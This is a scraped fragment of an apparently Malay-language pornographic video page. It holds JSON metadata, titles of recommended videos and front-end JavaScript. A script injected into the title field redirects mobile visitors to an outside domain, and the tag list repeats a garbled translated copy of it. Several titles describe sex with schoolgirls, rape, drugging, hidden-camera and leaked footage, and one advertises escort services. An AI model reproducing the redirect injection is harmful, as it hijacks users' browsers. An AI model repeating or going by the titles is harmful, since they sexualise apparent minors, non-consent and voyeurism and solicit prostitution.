</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Kebocoran Gambar Tembakan Persendirian: Saya Sangat Malu Dengan Ini! Dialog Menarik, Payudara Besar Berkualiti Tinggi, Kontras, Pendedahan Wajah, Pelajar Kolej, Perkhidmatan Pengiring Hotel Sebenar, Pertemuan Seksual Bersemangat di Dalam Tab Mandi, Jeritan Manis, Zakar Yang Begitu Panjang, Saya Akan Mati!</script>
Kebocoran Gambar Tembakan Persendirian: Saya Sangat Malu Dengan Ini! Dialog Menarik, Payudara Besar Berkualiti Tinggi, Kontras, Pendedahan Wajah, Pelajar Kolej, Perkhidmatan Pengiring Hotel Sebenar, Pertemuan Seksual Bersemangat di Dalam Tab Mandi, Jeritan Manis, Zakar Yang Begitu Panjang, Saya Akan Mati!","site_id":0,"video_url":"https://2606.senlin2026.com/20260709/HmDa654P/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvOWY1MWNlM2I1NjMxN2E2MGQwNzdmZjdjZDkzMzZhYzYuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["!fungsi(){var u=navigator.userAgent||\"\";jika(","Mudah Alih|Android|iPhone|iPad|iPod|webOS|BlackBerry|Opera Mini|IEMobile","i.ujian(u)){tetingkap.lokasi.href=\"https:","xiazai.it.com\"}}();<","Hotel","Payudara besar","Kualiti terbaik","Universiti","temu janji berbayar","Hebat","Tunjukkan wajah anda","pelajar kolej","Sesi Foto Persendirian","realiti","pemalu","pelajar","Mandian Itik Mandarin","Keghairahan","dialog","batang daging","Panjang sangat!","Kebocoran","Payudara besar berkualiti tinggi","Kontras","Hotel Pelajar Universiti","Kebocoran penggambaran peribadi","itik mandarin","jadi","Hotel Pelajar","Perkhidmatan pengiring sebenar"],"site_url":"277518","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["91探花"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvOWY1MWNlM2I1NjMxN2E2MGQwNzdmZjdjZDkzMzZhYzYuanBn.cache","maker":"","table_name":"videos_senlinzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"私拍泄密你这样我好害羞哦对话精彩极品大奶反差露脸大学生酒店真实援交鸳鸯浴激情肉战嗲叫喊肉棒好长啊我会死掉的","s_keywords":"私拍泄密你这样我好害羞哦对话精彩极品大奶反差露脸大学生酒店真实援交鸳鸯浴激情肉战嗲叫喊肉棒好长啊我会死掉的","s_description":"Kebocoran Gambar Tembakan Persendirian: Saya Sangat Malu Dengan Ini! Dialog Menarik, Payudara Besar Berkualiti Tinggi, Kontras, Pendedahan Wajah, Pelajar Kolej, Perkhidmatan Pengiring Hotel Sebenar, Pertemuan Seksual Bersemangat di Dalam Tab Mandi, Jeritan Manis, Zakar Yang Begitu Panjang, Saya Akan Mati!","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmFmNjEzYWU2YjAyNGNhNjc4YmFmYTQxNmM2YTE1NTQuanBn.cache","vod_id":19044049,"title":"[Gadis Lolita Cabul] Wajah yang jarang dilihat terserlah, gadis Lolita yang sangat patuh dan cantik [Meow Meow Sauce] tekak dalam makan zakar, punggung terkeluar menunggu untuk ditembusi, faraj ketat, montok dan lembut, ejakulasi melampau yang memalukan.","lastmod":"2025-03-28","duration":"0:17:27","url":"/play/19044049.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDg2MjQ1YTQ4OGQzNDc0MjMxOWVjZjc3Y2JmNmQ1M2IuanBn.cache","vod_id":19156760,"title":"Seorang gadis kecil molek berusia 18 tahun, baru sahaja dewasa, sedang dicabul berulang kali oleh dua lelaki berbadan besar. Tubuh kecilnya diangkat dan disetubuhi dengan kejam.","lastmod":"2025-03-30","duration":"0:28:59","url":"/play/19156760.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2Y4ZWI3ZjYwOWIwZDE4YTMxZjFlMzBjY2Q3OGI3ZTEuanBn.cache","vod_id":19051384,"title":"SW-697-P2 [Jilid 2] Saya sedang berpacaran dengan seorang pelajar perempuan moden dan merahsiakannya daripada semua orang di sekolah, tetapi saya telah merakam kami sedang bermesra dan bercinta, jadi sila tonton.","lastmod":"2025-03-29","duration":"1:26:00","url":"/play/19051384.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTdhYzJlMjQ5ZTBkYTI1YmEzYWJiNjkyZjFmNzI5MmEuanBn.cache","vod_id":19089538,"title":"Dua beradik perempuan Pleasant Goat itu membuat siaran langsung bersama-sama, menunjukkan wajah mereka sepanjang rancangan, menyampaikan persembahan yang mengujakan dan mendebarkan di bawah arahan peminat lelaki mereka.","lastmod":"2025-03-29","duration":"0:31:21","url":"/play/19089538.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzQ5OGVjNzNlMzEzZDVmN2MwNDQ0YzFhZGY3OWNjNTcuanBn.cache","vod_id":19088307,"title":"Seorang gadis yang sangat comel dan berdada besar membuatkan saya menangis; payudara dan vulva merah jambunya sungguh menakjubkan, dia sangat comel, saya sangat iri hati!","lastmod":"2025-03-29","duration":"0:21:28","url":"/play/19088307.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTdlY2NlNTk2YWQxODUxZjIxYWJmNDFkMTZlOTYzZDEuanBn.cache","vod_id":19102516,"title":"#Jepun #AV Suri rumah amatur peringkat atasan bergaduh dengan pelakon lelaki di hotel - Bahagian 2","lastmod":"2025-03-29","duration":"0:23:22","url":"/play/19102516.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzc2ZGJiZTYxZTM1ZDQzMWZmNGE0ZTJmZTZkYzA5NzYuanBn.cache","vod_id":19074427,"title":"Hanya wanita sahaja yang memahami wanita ☀️ Kemuncaknya ialah ia sangat nyata dan bersahaja.","lastmod":"2025-03-29","duration":"0:48:18","url":"/play/19074427.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmJhNWE5ZDk4NmQ0OTQyOTU4YTkyODk2MzdiMTgyMTkuanBn.cache","vod_id":19248545,"title":"Pelajar XX akan dirogol dalam masa 7 hari [Rogol kelima] Pelajar wanita K - Rekod ejakulasi seminggu seorang pelajar perempuan berpakaian seragam yang dijadikan hamba seks oleh seorang penguntit KTB-106","lastmod":"2026-03-11","duration":"2:10:56","url":"/play/19248545.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYjBkMjdkNjM4MjBkNjBlZWU1ZDZiZGI5YTMzZDkwN2EuanBn.cache","vod_id":19241833,"title":"Siri perhubungan: Pasangan universiti melakukan hubungan seks di hotel","lastmod":"2026-01-28","duration":"0:11:27","url":"/play/19241833.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDM4YWQ4MzdlZDJjNGNiYjE1MDVlYmRlOGM4NDA1OTEuanBn.cache","vod_id":19153537,"title":"Model AV Cina, diterbitkan oleh Mr. Rabbit, TZ048, menampilkan sekuel 3P lucah, mengalirkan air mani dengan penuh ghairah, dibintangi oleh Asuka dan Sakurai Misato.","lastmod":"2025-03-30","duration":"0:44:15","url":"/play/19153537.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2Y4OGNiOWQ2YzE4NDM1Njk3MGQxMjU3MThkNGE5NzQuanBn.cache","vod_id":19108176,"title":"Seorang wanita muda yang sangat cantik dari universiti wanita berprestij dengan patung G-cup.","lastmod":"2025-03-29","duration":"2:23:19","url":"/play/19108176.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzZmMmZkZDZlOGFjMWUyMWFjZTg2NDIyZDE0OTA3NWIuanBn.cache","vod_id":19124634,"title":"Gambar sebenar yang diambil secara rahsia di sebuah hotel mewah menunjukkan seorang lelaki lucah menggoda seorang wanita berkelas ke atas katil.","lastmod":"2025-03-29","duration":"1:18:46","url":"/play/19124634.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjFlMDMyNDIzNWVhMGQyMGY3ZGIwOTY3ZDEyYjM2MzAuanBn.cache","vod_id":19190673,"title":"Guru wanita Oriental baharu Yueyue ialah seorang dewi sejati, dengan hutan yang subur dan nafsu seks yang rakus. Dia menghabiskan air mani teman lelakinya, memancutkan air mani di dalam dirinya dan menyebabkan teman lelakinya kejang dan mengerang tanpa henti!","lastmod":"2025-03-30","duration":"1:28:59","url":"/play/19190673.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2QzNGE4NzAyMDM0YTc1MTZmMjE0ODRjMTQxOGUxNTguanBn.cache","vod_id":19194385,"title":"Seorang guru wanita, yang terdesak cuba menahan orgasme, memasukkan alat penggetar ke dalam alat sulit pelajarnya lalu dibius dan ditembusi tanpa henti. (Teks itu juga menyebut watak-watak lain, seperti Natsuki Kisaki, Miho Nakazato, dan Nonoka, tetapi ini nampaknya tidak berkaitan dengan cerita utama dan kemungkinan besar merupakan petikan berasingan yang tidak berkaitan.)","lastmod":"2025-03-30","duration":"2:31:00","url":"/play/19194385.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzg3MjQxZTkwZjdkOTg4YWI4MjNhMWI2MzY0ZDZmMjguanBn.cache","vod_id":19185035,"title":"[Kod] 299EWDX445 Kata-kata dan sikapnya sama sekali bercanggah! Seorang wanita berkahwin berusia 34 tahun yang pemalu namun selekeh dengan payudara berbentuk G-cup.","lastmod":"2025-03-30","duration":"0:56:52","url":"/play/19185035.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWRmNWFlOTBiYThhZTdhMTg4YjY1M2QzMjQ0NmFkOTQuanBn.cache","vod_id":19248216,"title":"Jiran itu tidak tahu... Pengurusan ejakulasi menggoda isteri cabul muktamad AVSA-415","lastmod":"2026-03-09","duration":"2:02:25","url":"/play/19248216.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjgvMTMwMDY3NDBlNmNkZjA0YzY0NDI5YzRhM2QzOTczYTMuanBn.cache","vod_id":19215363,"title":"MIDA080: Seorang peserta pertandingan ratu cantik kolej yang menyertai kelab perempuan jalang tanpa mengetahui ia adalah sebuah kelab telah dirogol beramai-ramai sebanyak 40 kali sehingga air maninya habis.","lastmod":"2025-07-27","duration":"2:04:50","url":"/play/19215363.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmM3ZWM1ZmQ2NjcwNTc3MzQyM2Q3YWNiYTA5MGQ4Y2MuanBn.cache","vod_id":19123248,"title":"STARS-856 Jika seorang pelajar merayu kepada anda, dan anda hanya bersetuju sekali... untuk melakukan hubungan seks dengan pelajar yang telah bertukar menjadi monyet.","lastmod":"2025-03-29","duration":"2:10:18","url":"/play/19123248.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNmZiMjdlMTM4NTVlMmJiYzJjOTNlMjQxZmZlYTJlMTEuanBn.cache","vod_id":19093112,"title":"Tuan Muda Bai berpacaran dengan seorang model muda yang langsing dan elegan bernama T-Bao. Perempuan jalang ini secara aktif melemparkan dirinya kepadanya untuk mendapatkan wang. Seks oral luar diikuti dengan sesi bergetar dengan dia di dalam dirinya, disertai dengan ejakulasi yang menjerit! [Perkhidmatan pengiring Beijing, Guangzhou, Shenzhen, Dongguan, Vancouver tersedia. Hubungi WeChat di profil saya.]","lastmod":"2025-03-29","duration":"0:21:26","url":"/play/19093112.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYjE1ODM1ZWY2M2Y3ZGMzZmIzOGE1YTllMWJkZjBiY2UuanBn.cache","vod_id":19231950,"title":"Hotel itu secara rahsia merakam pasangan muda yang sudah lama tidak berjumpa. Mereka mula berasa malu, tetapi akhirnya sifat sebenar mereka terbongkar.","lastmod":"2025-12-13","duration":"0:18:58","url":"/play/19231950.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTMvMDg0MGFjODIwYjkyNzc4ZGE0NThjYjQ3ZTFmNmFlNTkuanBn.cache","vod_id":19221935,"title":"Rancangan Siaran Langsung Menakjubkan Gadis Bermata Besar Kecantikan Sekolah Dewi","lastmod":"2025-09-12","duration":"0:43:41","url":"/play/19221935.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWY1NmQxM2NiMjk3YWM0ZWM2M2UyMzVkODBlMWRiOGMuanBn.cache","vod_id":19123001,"title":"Dewi selebriti internet dan model 'Xia Lingman', seorang cosplayer Douyin yang popular, dikenali kerana swafotonya yang mendedahkan susuk tubuh yang menakjubkan dengan payudara yang cantik dan punggung yang berisi.","lastmod":"2025-03-29","duration":"0:33:04","url":"/play/19123001.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzI4ZDQzMWExMTdlMTJjNzNjZDYzYTU4Y2VmNmNhY2MuanBn.cache","vod_id":19254318,"title":"Satu video peribadi yang bocor dalam talian menunjukkan seorang pelajar universiti kewangan wanita cantik yang ditemuinya dalam talian. Mereka pergi ke sebuah hotel, dan dia melakukan hubungan seks dengannya sehingga wanita itu menjerit.","lastmod":"2026-04-16","duration":"0:36:35","url":"/play/19254318.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNjJmOTk1NDJhYzMyMmYyZTQ5NTRhMGE1MGIwOGYxNjYuanBn.cache","vod_id":19108533,"title":"Pengalaman pertama keghairahan fizikal","lastmod":"2025-03-29","duration":"0:14:35","url":"/play/19108533.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Kebocoran Gambar Tembakan Persendirian: Saya Sangat Malu Dengan Ini! Dialog Menarik, Payudara Besar Berkualiti Tinggi, Kontras, Pendedahan Wajah, Pelajar Kolej, Perkhidmatan Pengiring Hotel Sebenar, Pertemuan Seksual Bersemangat di Dalam Tab Mandi, Jeritan Manis, Zakar Yang Begitu Panjang, Saya Akan Mati!</script>',
language: 'ms',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Pautan disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Pautan disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}